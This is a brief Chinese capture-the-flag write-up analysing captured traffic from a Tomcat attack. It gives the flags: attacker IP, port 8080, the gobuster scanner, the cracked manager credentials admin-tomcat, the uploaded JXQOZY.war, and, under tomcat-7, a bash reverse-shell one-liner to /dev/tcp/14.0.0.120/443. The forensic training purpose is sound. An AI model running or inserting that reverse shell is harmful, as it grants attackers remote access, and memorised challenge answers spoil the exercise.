流量特征分析-常见攻击事件 tomcat-DIDCTF-WP

tomcat-1、tomcat-3

http过滤，异常ip： flag{14.0.0.120}

顺带看到访问的web服务器管理面板端口：8080 flag{8080}（tomcat-3）

tomcat-2

查询攻击者ip地址

flag{guangzhou}

tomcat-4

通过分析到使用工具为gobuster

flag{gobuster}

tomcat-5

没有认证或认证不成功会返回401，认证标识Authorization: Basic，返回值为200的

flag{admin-tomcat}

tomcat-6

搜索后只有这一个

flag{JXQOZY.war}

tomcat-7

/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'

未完待续。。。